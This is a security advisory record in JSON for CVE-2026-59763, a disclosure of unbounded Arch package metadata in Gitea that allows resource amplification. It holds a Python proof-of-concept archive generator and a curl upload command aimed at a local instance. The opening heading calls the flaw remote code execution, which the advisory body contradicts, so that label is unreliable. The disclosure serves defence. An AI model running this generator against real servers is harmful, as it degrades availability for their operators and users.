CVE-2026-59763: Gitea Remote Code Execution Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-9mq6-mqjj-c2c5",
  "modified" : "2026-07-21T20:20:49Z",
  "published" : "2026-07-21T20:20:49Z",
  "aliases" : [ "CVE-2026-59763" ],
  "summary" : "Gitea: Unbounded Arch package file metadata can cause resource amplification in Gitea package uploads",
  "details" : "## Summary\n\nHello Gitea Security Team,\n\nThank you for your continued work on Gitea. I would like to responsibly report a potential availability-impact issue that I observed in Gitea’s Arch package registry implementation.\n\nDuring local testing, I noticed that Gitea records non-dot regular file entries from an uploaded Arch package archive into package file metadata. I could not identify an explicit limit on the number of recorded file entries or on the cumulative size of recorded file names before this metadata is serialized, stored, and later used during repository index generation.\n\nAs a result, a relatively small compressed `.pkg.tar.gz` archive may lead to significantly larger server-side metadata processing and storage. I tested this only against a local self-hosted Gitea instance and have not tested this against any third-party or production service.\n\n## Suggested Severity\n\nSuggested severity: Medium\n\nSuggested CVSS 3.1 vector:\n\n`CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L`\n\nSuggested CVSS score: 4.3\n\nThis assessment is only a suggestion. The issue appears to require an authenticated user with package publishing permission. However, once that condition is met, the behavior is reachable over the network, does not require user interaction, and may affect availability through amplified metadata parsing, serialization, database storage, and repository index generation.\n\n## Affected Component\n\n* Gitea package registry\n* Arch package upload endpoint\n* Arch package metadata parsing\n* Arch repository index generation\n\n## Technical Details\n\nThe upload flow appears to accept an Arch package archive, parse its contents, record file entries into package metadata, and later reuse that metadata when generating the Arch repository index.\n\nThe relevant flow appears to include:\n\n* `routers/api/packages/arch/arch.go:46` accepts the upload stream.\n* `routers/api/packages/arch/arch.go:55` copies the upload into a `HashedBuffer`.\n* `routers/api/packages/arch/arch.go:62` parses the archive with `arch_module.ParsePackage`.\n* `modules/packages/arch/metadata.go:149` appends each non-dot regular tar entry name to `files`.\n* `modules/packages/arch/metadata.go:158` stores the full list as `p.FileMetadata.Files`.\n* `routers/api/packages/arch/arch.go:77` JSON-marshals the file metadata.\n* `routers/api/packages/arch/arch.go:143` persists the metadata as `arch_module.PropertyMetadata`.\n* `services/packages/arch/repository.go:302` deserializes the metadata during index generation.\n* `services/packages/arch/repository.go:365` joins the full file list into the generated `files` entry.\n\nFrom my review, the package upload size limit can reduce the maximum compressed archive size that is accepted, but it does not appear to directly limit the number of file entries or the expanded metadata size for archives that remain below the compressed upload limit.\n\n## Impact\n\nAn authenticated user with permission to publish Arch packages may be able to upload an archive containing a valid `.PKGINFO` file and a large number of empty regular file entries.\n\nIn my local test environment, Gitea accepted such packages and stored the full file list as package metadata. This caused the server-side metadata size and generated repository `files` index content to become much larger than the compressed upload size.\n\nThe practical impact appears to be resource amplification affecting:\n\n* CPU usage during parsing and index generation\n* memory usage during metadata handling\n* database storage due to large serialized metadata\n* repository index generation size and processing time\n\nThis seems most relevant for instances where untrusted or semi-trusted users are allowed to publish packages.\n\n## Local Validation Results\n\nI tested this only on a local self-hosted Gitea instance.\n\nA 470,403 byte archive containing 100,000 empty file entries was accepted by the Arch package upload endpoint. It produced a 4,500,112 byte `arch.metadata` database property and a generated repository index whose `files` member contained 100,001 lines.\n\nA larger 2,349,767 byte archive containing 500,000 empty file entries was also accepted in the default configuration. It produced a 22,500,112 byte `arch.metadata` database property and a generated repository `files` member with 500,001 lines.\n\n## Proof of Concept\n\nThe following proof of concept is intended only for a local self-hosted test instance.\n\nSave the following script as `generate_arch_metadata_test_package.py`:\n\n```python\n#!/usr/bin/env python3\nfrom __future__ import annotations\n\nimport argparse\nimport gzip\nimport io\nimport tarfile\nfrom pathlib import Path\n\nPKGINFO = \"\"\"pkgname = gitea-metadata-test\npkgbase = gitea-metadata-test\npkgver = 1.0.0-1\npkgdesc = Local metadata scaling test package\nurl = https://example.invalid/\npackager = local test\narch = x86_64\nlicense = MIT\nbuilddate = 1714521600\nsize = 0\n\"\"\"\n\ndef add_bytes(tar: tarfile.TarFile, name: str, data: bytes) -> None:\n    info = tarfile.TarInfo(name=name)\n    info.size = len(data)\n    info.mode = 0o644\n    tar.addfile(info, io.BytesIO(data))\n\ndef build_archive(output: Path, entries: int, name_width: int) -> None:\n    output.parent.mkdir(parents=True, exist_ok=True)\n    with output.open(\"wb\") as raw:\n        with gzip.GzipFile(fileobj=raw, mode=\"wb\", compresslevel=9, mtime=0) as gz:\n            with tarfile.open(fileobj=gz, mode=\"w|\") as tar:\n                add_bytes(tar, \".PKGINFO\", PKGINFO.encode(\"utf-8\"))\n                for i in range(entries):\n                    name = f\"usr/share/gitea-metadata-test/{i:0{name_width}d}.txt\"\n                    add_bytes(tar, name, b\"\")\n\ndef main() -> None:\n    parser = argparse.ArgumentParser(\n        description=\"Generate a local Arch package test archive with many empty file entries.\",\n    )\n    parser.add_argument(\"--entries\", type=int, default=100000)\n    parser.add_argument(\"--name-width\", type=int, default=8)\n    parser.add_argument(\"--output\", type=Path, default=Path(\"gitea-metadata-test.pkg.tar.gz\"))\n    args = parser.parse_args()\n\n    if args.entries < 1:\n        raise SystemExit(\"--entries must be at least 1\")\n    if args.name_width < 1:\n        raise SystemExit(\"--name-width must be at least 1\")\n\n    build_archive(args.output, args.entries, args.name_width)\n    print(f\"wrote {args.output} with {args.entries} regular file entries\")\n\nif __name__ == \"__main__\":\n    main()\n```\n\nGenerate a test archive:\n\n```bash\npython3 generate_arch_metadata_test_package.py \\\n  --entries 100000 \\\n  --output gitea-metadata-test-100k.pkg.tar.gz\n```\n\nUpload it to a local Gitea test instance with package publishing enabled:\n\n```bash\ncurl -X PUT \\\n  -H \"Authorization: token <TOKEN>\" \\\n  --upload-file gitea-metadata-test-100k.pkg.tar.gz \\\n  http://127.0.0.1:3007/api/packages/packagebot/arch/bigrepo\n```\n\nObserved local result:\n\n```text\nHTTP_STATUS=201\nTIME_TOTAL=0.482909\nSIZE_UPLOAD=470403\n```\n\n## Additional Validation\n\nParser-only measurements:\n\n| Entries | Compressed archive bytes | Parsed file entries | Metadata JSON bytes | Joined files bytes | Parse time |\n| ------: | -----------------------: | ------------------: | ------------------: | -----------------: | ---------: |\n|      25 |                      477 |                  25 |               1,237 |              1,074 |       0 ms |\n|  10,000 |                   47,461 |              10,000 |             450,112 |            429,999 |      25 ms |\n| 100,000 |                  470,403 |             100,000 |           4,500,112 |          4,299,999 |     264 ms |\n\nLocal Gitea upload measurements:\n\n| Entries | Upload HTTP status | Upload time | Uploaded bytes | Stored metadata bytes | Stored file count | Repository index blob bytes | Extracted `files` lines |\n| ------: | -----------------: | ----------: | -------------: | --------------------: | ----------------: | --------------------------: | ----------------------: |\n|  10,000 |                201 |     0.243 s |         47,461 |               450,112 |            10,000 |                      27,267 |                  10,001 |\n| 100,000 |                201 |     0.483 s |        470,403 |             4,500,112 |           100,000 |                     262,301 |                 100,001 |\n| 500,000 |                201 |     1.798 s |      2,349,767 |            22,500,112 |           500,000 |                   1,306,465 |                 500,001 |\n\n## Package Size Limit Behavior\n\nI also tested `LIMIT_SIZE_ARCH=1MiB` with a non-admin package publisher.\n\n| Entries | Upload bytes | Upload HTTP status | Stored metadata bytes | Notes                                                                    |\n| ------: | -----------: | -----------------: | --------------------: | ------------------------------------------------------------------------ |\n| 100,000 |      470,403 |                201 |             4,500,112 | Accepted because the compressed upload was below the package size limit. |\n| 500,000 |    2,349,767 |                403 |            not stored | Rejected with `maximum allowed package type size exceeded`.              |\n\nThis suggests that the compressed package size limit helps reduce exposure, but it may not fully address metadata growth for highly compressible archives that stay below the configured upload limit.\n\n## Expected Behavior\n\nGitea should ideally reject package archives whose expanded package metadata would require excessive server-side resources. It would be safer if this validation happened before the file list is serialized, persisted, or used during repository index generation.\n\n## Suggested Remediation\n\nOne possible mitigation would be to add explicit bounds during Arch package metadata parsing before the file list is stored or used for repository index generation.\n\nPotential controls could include:\n\n* limiting the maximum number of regular file entries recorded in `FileMetadata.Files`\n* limiting the cumulative byte length of recorded file names\n* returning a clear 4xx validation error when an uploaded package exceeds those limits\n* optionally making these limits configurable for instance operators\n* adding regression tests for excessive file-entry count and excessive cumulative file-name size\n\nFor example, the validation could follow this general shape:\n\n```go\nconst (\n\tmaxArchMetadataFiles = 10000\n\tmaxArchMetadataFileNameBytes = 1 << 20\n)\n\nvar totalFileNameBytes int\n\n// inside the tar entry loop\nif !strings.HasPrefix(filename, \".\") {\n\ttotalFileNameBytes += len(hd.Name)\n\tif len(files) >= maxArchMetadataFiles || totalFileNameBytes > maxArchMetadataFileNameBytes {\n\t\treturn nil, util.NewInvalidArgumentErrorf(\"arch package file metadata exceeds limit\")\n\t}\n\tfiles = append(files, hd.Name)\n}\n```\n\nThis is only a suggested direction, and I understand the project may prefer a different threshold or design depending on compatibility and package registry requirements.\n\n## Closing\n\nThank you for taking the time to review this report. Please let me know if any additional information would be helpful, such as the local test environment details, database inspection steps, or additional measurements with different limits.\n\nI appreciate your work on maintaining Gitea and would be happy to help clarify or retest any proposed fix.",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "code.gitea.io/gitea"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.27.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/go-gitea/gitea/security/advisories/GHSA-9mq6-mqjj-c2c5"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/go-gitea/gitea/pull/38406"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/go-gitea/gitea/pull/38426"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/go-gitea/gitea/commit/de4b8277e9cb576f2315fb03b5ab6478b42a1d31"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/go-gitea/gitea/commit/f69e15afe7496cc62e96dab244629c69eb31a7bf"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/go-gitea/gitea"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/go-gitea/gitea/releases/tag/v1.27.0"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-770" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-07-21T20:20:49Z",
    "nvd_published_at" : null
  }
}